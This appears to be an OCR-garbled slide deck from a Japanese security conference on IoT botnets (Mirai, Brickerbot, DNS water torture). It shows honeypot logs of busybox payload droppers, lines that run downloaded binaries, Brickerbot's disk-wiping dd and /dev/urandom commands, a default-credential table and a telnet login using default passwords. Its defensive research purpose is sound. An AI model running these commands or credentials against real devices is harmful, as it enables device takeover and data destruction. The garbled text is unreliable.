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Thingbots: The Future of Botnets in the *
Internet of Things

February 20, 2016 | By Paul Sabanal |OT Home ROUte r-S BOtnet
Leveraged in Large DDoS Attack

R 4 P The Internet of Things (loT]
,’\ h J \ » X\.« I '\ / ' upon us. Everything from
ék \ L~  home appliances, watches
/ Q = pu \
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* Cyber attacks in 10T
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boost in loT services

| 3 . : News roundup: As Internet of Things conce
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e risk; Target pays up; Apple devic

“Internet of Things” is the new Windows XP ! secured in the enterprise.
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X

ope 3.0.dm800se
B 6328 Broadband Router
TL-— /740N login:

20- VoIP - AG login: BC 328 XDSL Router

B 6328 ADSL Router
Router C er Access Verification

00 login
Air5: 2 login: ° Telnet
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[shogo@www9058up ~]$ telnet X. X.243.13
Trying Xx. x.243.13 ...

Connected to X. X. 243.13.

Escape character is |'.

13.0.dm800s
| e.login: roof |
Password: §12345

BusyBox v1.1.2 (2007.05.09 - 01:19+0000) Built
In shell (ash)

Enter 'help’ for a list of built - In commandes.
SECURE |OKYO 201/ (ISO)"Secure Events




’E Google L4 — <V g badgers2015 — Googlt %V M All Bids x:,' B Big bertha says: defa. %
&«
77U O RFER

default pasfl Protocol User

Browse by character: A B

Displaying 1812 pass

Manufactor a m
3COM
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3COM

C M [ wwwdefaultpassword.com

3com
3COM

security
= read
Write

3COM

3COM ,

3COM

admin

3COM

3COM

3COM

manager

3COM

Jcom

3COM 1

3COM

MOoNItor

Jcom

Jcom

Jcom uja= aen N g anage

3com super stack II Console n/a (
3com superstack II 1100/3300 Console 3comcso H
3COM Superstack II Switch 2700 Telnet tech t
3COM Superstack II Switch 2200 Telnet debug g
3COM Wireless 11g Firewall Router 3CRWDR100-72 Multi nong 3
Scom Wireless &P ANY Multi admin g com
M VOL-0215 ete. SHNMP volition

a a a HTTP 9000 il
a pussy 1.0 Other I Love

aaa aa aaa Multi aaa 3
aaa aaa aaa Multi aaa 3
aaaawara pagal dewana Multi pappu o
Accelerated Metworks DSL CPE and DSLAM Telnet sysadm 3
acer acer acer Multi acer 3
actiontec gt701-gw Multi admin 3

L] Actiontec GT701-WG o HTTP admin o
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P 37.220.109.10.24147 > 0.0.0.0.23: Attacker command /bin/busybox echo -ne \\x@f\\xaf\\x08\\x008\\x008\\xoc\
13\ \x20\\xf8\\x09\\x00\\x00\\x00\\x00\\x8f\\xbc\\x00\\x10\\xac\\x50\\x00\\x00\\x24\\x10\\xff\\xff\\x02\\x00
00\ \x08\\x27\\xbd\\x00\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3c\\x1¢c\\x00\\x05\\x27\\x9c\\x9c\\xa
xaf\\xb@\\x00\\x18\\xaf\\xbc\\x00\\x10 >> /var/tmp/mvXUDI && /bin/busybox WOPBOT

P 37.220.109.10.24147 > 0.0.0.0.23: Response command
Axaf\\x00\\x00\\x00\\x0c\\x8f\\x99\\x80\\x94\\x10\\xe0\\x00\\x06\\x00\\x40\\x80\\x21\\x03\\x20\\xf8\\x09\\

‘\\x1°\\xfﬂ\ tufMsTcamiTvcanLwanl Lt unaslLwami vk MvTwnan\ L wr L woamt L wknl L want L wrov L wuas L el L wanv L wanny ..ﬂ,\\xbd\‘

0\ \x05\\x (@0\\x18
P 37.220. 0\ \x00\
0\ \x21\\x (FF\\xff
27\\xbd\\ x27\\x9
x00\\x24\

P 37.220.

\x02\\xof IN\x20\\
\\x00\\x2 O\ \x20\
c\\x1c\\x af'\\xbo

P 37.220.109.10.24147 > 0.0.0.0.23: Attacker command /bin/busybox echo -ne \\x00\\x10\\x30\\xa2\\x@1\\x00\
f\\xa6\\x00\\x30\\x27\\xa2\\x00\\x34\\xaf\\xa2\\x00\\x18\\x00\\xc0\\x18\\x21\\x00\\x60\\x30\\x21\\x24\\x02
00\ \x06\\x00\\x40\\x80\\x21\\x03\\x20\\xf8\\x09\\x00\\x00\\x00\\x00\\x8f\\xbc\\x00\\x10\\xac\\x50\\x00\\x0
x8f\\xbo\\x00\\x20\\x03\\xe0\\x00\\x08 >> /var/tmp/mvXUDI && /bin/busybox WOPBOT

P 37.220.109.10.24147 > 0.0.0.0.23: Response command
Ax10\\x30\\xa2\\x01\\x00\\x00\\x00\\x18\\x21\\xaf\\xa7\\x00\\x34\\x10\\x40\\x00\\x04\\xaf\\xab\\x00\\x30\\

\\x60\\x30\\x21\\x24\\x02\\x0f\\xa5\\x00\\x00\\x00\\x0c\\x8f\\x99\\x80\\x94\\x10\\xed\\x00\\x06\\x00\\x40\
O\ \ ¥ 10\ \ vac\\¥BO\\vBO\\ YOO\ \ ¥ 24\ \ Y10 \\ ¥ FA\\ Y FFA\\ Y22\ \ YOO\ \ Y10\ \ ¥ 21\ \YRF\\vhFf\\voo\\v24\\vRf\\vho\\voo\\v?202
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nicter -Atlas
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TCP SYN
TCP SYN/ACK
TCP Other
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http://www.nicter.jp/nw_public/scripts/index.php#nicter
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Telnet

TCP FE5ER— BBI/\4w hE Top 10 -

FEFER— b J\y hER ==

2,699,639

22 461,738 N 8%
80 348077 1 &% | |
1433 208,460 | 3%  —
3306 199,372 | 3%
\J |
3'441 51%3 I 3%
8080 145,657 | 2%
Telnet ... , ..
9200 116,255 | 2%
25 94901 | 2%

(S )

\¢J (o) <\ (] )
P P P P P

YV YV YV YV YV
ORISR UGS

SECURETOKYR20!7 -

N

TCP %gFcR—k3ll/ 3~ & Top 10

5 P

st Vb J
23 11,727,894 I 65%
______________________ —_—

22 559,059 3%
3389 247 547 1%
80 247,159 1%
8080 184,132 1%
443 147,434 1%
3306 128,382 1%
4028 116,029 1%
54628 78,378 0%

o 3l top ( S}C)"SN@EW
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Telnet \

\_ /
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3 4.
/
2. Telnet
0
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1. Telnet
Ho
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Telnet \

2. Telnet
0

1. Telnet
B
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root/r
root/a
root/1
root/1
root/1
root/1
root/p

root/d

root/r
root/a
root/
root/1
root/1
root/1
root/p
root/d
root/v

admin/
admin/
admin/
admin/
admin/
admin/
admin/
root/12
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Telnet D

2. Telnet

- o 0

1. Telnet

b
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DL

at mips busybox; rm mips; cp busybox systemr; rm busybox; ./systemr & sleep
cat mipsel busybox; rm mipsel; cp busybox systemr; rm busybox; ./systemr & sleep

t arm busybox; rm arm; cp busybox systemr; rm busybox; ./systemr && sleep

t ppc - busybox; rm ppc; cp busybox systemr; rm busybox; ./systemr 8% sleep
cat superh - busybox; rm superh; cp busybox systemr; rm busybox; ./systemr & sleep
cat mipsi6 - busybox; rm mipsi6; cp busybox systemr; rm busybox; ./systemr &: sleep
at 1586 - busybox; rm 1586; cp busybox systemr; rm busybox; ./systemr && sldep
e Binaries of MIPS, MIPSEL, ARM, PPC, Seep
e SUPERH, MIPS16 are all downloaded and
executed
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[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)

Anna-senpai &
L33t Member
080886

Preface
Greetz everybody,

When 1 first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so i
However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS,
shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.




Google sruss o = 0 @
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600%337 - twitter.com

The Attacker may be very OTAKU (Comic fanatic).
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Mirai = L

DDoS

" Krebs on Security
s 16/9/20%

-Akamab . P |
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(DNS Water Torture Attack)

elirjk.cc.zmr666.com? =

ISP 6 g?ny Emare—ec—z—m#éféﬁ_cam’?
DNSy Y . oiudan.cc zmr666.com?
9a3jk.cc.zmr656 — . i i
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2015-91-13 21:24:53.665213 IP
2015-01-13 21:24:53.665254 IP
2015-91-13 21:24:53.665296 IP
2015-91-13 21:24:53.665337 IP
2015-01-13 21:24:53.665378 IP
2015-91-13 21:24:53.665418 IP
2015-01-13 21:24:53.665494 IP
2015-01-13 21:24:53.665536 IP
2015-91-13 21:24:53.665578 IP
2015-01-13 21:24:53.665618 IP
2015-01-13 21:24:53.665661 IP
2015-91-13 21:24:53.665702 IP
2015-01-13 21:24:53.665743 IP
2015-01-13 21:24:53.665785 IP
2015-91-13 21:24:53.665826 IP
2015-01-13 21:24:53.665867 IP
2015-91-13 21:24:53.665818 IP
2015-91-13 21:24:53.665858 IP
2015-01-13 21:24:53.665898 IP
2015-91-13 21:24:53.6660838 IP
2015-01-13 21:24:53.666078 IP
2015-01-13 21:24:53.666128 IP
2015-91-13 21:24:53.666171 IP
2015-01-13 21:24:53.666220 IP
2015-01-13 21:24:53.666261 IP
2015-91-13 21:24:53.666301 IP
2015-01-13 21:24:53.666341 IP
2315 91-13 21:24:53.666381 IP

.37737
37737
37737
.37737
37737
37737
37737
37737
37737
37737
37737
.37737
37737
.377137
.37737
37737
37737
.37737
37737
37737
37737
37737
37737
37737
.377137
.37737
37737

53: 16025+ |
23: 36951+ .
53: 16162+ 4
53: 26459+
23: 17164+ 4
53: 34279+
53: 21888+ .,
53: B3B/6+
i
i
i
i
[|
i
i
i
i
i

vPiXEbR7.a us.com. (35)
h3KG4ELZ.a us.com. (35)
BIW@1Qej.a us.com. (35)
Kdzbb6J0.a us.com. (35)
MfEb72uF.a us.com. (35)
kEpsfbJO.a us.com. (35)
sobRAn1TH.a us.com. (35)
@hohdpTg.a us.com. (35)
@cQUk7Qv.a us.com. (35)
KRZLvLrQ.a us.com. (35)
QaP9WsA2.a us.com. (35)
tKIB8ZIz.a us.com. (35)
wLEa@TPh.a us.com. (35)
FnyvBaC2.a us.com. (35)
4f20520W.a us.com. (35)
lakaF1X1.a us.com. (35)
53: 23219+ JUBm2r3R.a us.com. (35)
53: 40053+ TJijOYEr.a us.com. (35)
53: 7377+ A' y6CRVMOD.as s.com. (35)
53: 45048+ , 7 WeuBfEev.a us.com. (35)
53: 45243+ , 7 qlJs5NR4.a us.com. (35)
53: 39539+ , 7 1ZRf@sdl.a us.com. (35)
53: 48818+ , 7 ffeDQI6r.a us.com. (35)

[|

i

i

53: 58236+
23: 64173+
53: 26479+
53: 58165+
23: 63390+
53: 16064+
53: 63732+
53: 30663+

i) bn) snd en) snd snd en) End End end ex) Eund en) en) end Ea) sl ey

53: 12766+ E@6FALIv.a us.com. (35)
53: 62262+ dtm23cmU.a us.com. (35)
53: 18909+ YUD1lgoSW.a us.com. (35)
53: 7608+ A" UvnB5SNES5.as s.com. (35)
53: 5??1+ Al rwdmAc®l.as s.com. (35)

i i i
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200 T I ! : : :
Infected device Ips observed by I0tPOT  2016/8/1 - 8/22

175 b e R

. L e

P R S NN SN B . 100Gbps+

100

l[oTPOT swarm size

75 _'- ! 3
5[] i » : ':--_I & -.:-..'.;.'.'

25

o s ;
100Kbps Mbps 10Mbps  100Mbps 1Ghbps 10Gbps  100Gbps 1Thps 10Thbps
_ ATLAS event traffic
Size of attacks Arbor networks observed
The matching result is provided by Arbor NetworksASERT Japan
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Brickerbot A 20172 1
dz )

oT | b |/

dd if=/dev/urandom of=/dev/hdbl &

dd if=/dev/urandom of=/dev/root &

dd if=/dev/urandom of=/dev/ram@ &

dd if=/dev/urandom of=/dev/mmcblk® &
dd if=/dev/urandom of=/dev/mmcblk@pl &

cat /dev/urandom >/dev/sda &
cat /dev/urandom >/dev/sdal &
cat /dev/urandom >/dev/sdal &
cat /dev/urandom >/dev/sda3 &
cat /dev/urandom >/dev/sda4 &
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X (active) D
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Web,Telnet, FTP
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| Web

3L CPPLUS |

enhancing vision

Usemame:

x < ik N\ X T A 8% 7 L MEWEBAY B R i S p— —
e ~ 7 - V1.0 E - :

e e W o — SR -
Al 3 FF%4MARAA —  wE[ i ‘
3 O35 FTPROIRT = e =

“ 1 Connect Close
=
@Dbox | Login v

wgn T

ave lagin and password : i ' — e
-

& —
S : Mikrow ik
" 3 07.190.198.88 Router0S v5.22

You Rave CONNECtSd th S router. ASMWNSTSEVE Sccass only. I i SEVER 1S ROt I your pOsSession, PleRse esetsct your ksl netwark
samiristrstor

WebFig Login:

Legen: [asemin

\ | =
W/,/E/S o

WEBSERVER .
e ( vdAm 4

Wibox  Telnet  Graphs Leanse  Holp

DiskStationPlay/

L Username © mikrotik
AN
) = Password
11n 150Mbps WLAN ADSL2+ Modem Router e Copyright®, DrayTek Corp. All Rights Reserved. Dray Tek
: —— ™
; e 5 == =
Status — Welcome To
Streamyx Connection
-» Network Setup
Username !
Wireless
Password og |

o Login - I
© Passwod i QuikSoupmeds |

Network video client

A12-LATL

Usemsme:  Bdmin

Login to the router :

User Name : /Admin
Password : Login

@ Rememher me.

Login
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Telnet

0.dm800se
8 ADSL Router
8 Broadband Router
8 XDSL Router
| User Access Verification
1 et4x00
 login:
login:

pIP - AG login:

login:
lON login:

login:
login:
N
Jin:



= censys About Search Reports API Raw Data

IPv4 Hosts Top Million Websites Certificates Tools~ Help

Page: 1/457,918 Results: 11,447,927 Time: 50¢
195.36.2.28 (static-028.mi.telnet.demosdata.it)
& TELNET-ITALY - TELNET S.rl, IT(5392) @ Italy
£+ 23/telnet
Q autonomous_system.name: TELNET -1 TALY
Q autonomous_system.organization: TELNET S.r. |., IT

120.50.16.120 (NEW-ASSIGNED-FROM-APNIC-20-03-2008.telnet.net.bd)
& TELNET-AS-BD-AP - Telnet Communication Limited (38712) @ Bangladesh
£ 23/telnet

™ L bk e . TELMET AD DN AR



Other vulnerabilities?
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Telnet W

W DVR IP 3 |
o "
H
d3 dz
ADVR 0 o
DVR DVR U
DVR.cfg & o5 ¥ n
A 0 "H N
1l n . l
53413/UDP "~ o °

A dz IP
dz TP ’
Web insecamf9] ‘H

RAID7, Multiple DVR Manufacturers Configuration Disclosure. [Last visited: 2016/01/28]
https://www.rapid7.com/db/modules/auxiliary/scanner/misc/dvr_config_disclosure

"B ECRLRE LGl o orimtio co rchwesiorss " (ISO"Secure Events

[9] Insecam.com, Network live IP video cameras directory. [Last visited: 2016/01/28].http://www.insecam.orqg/
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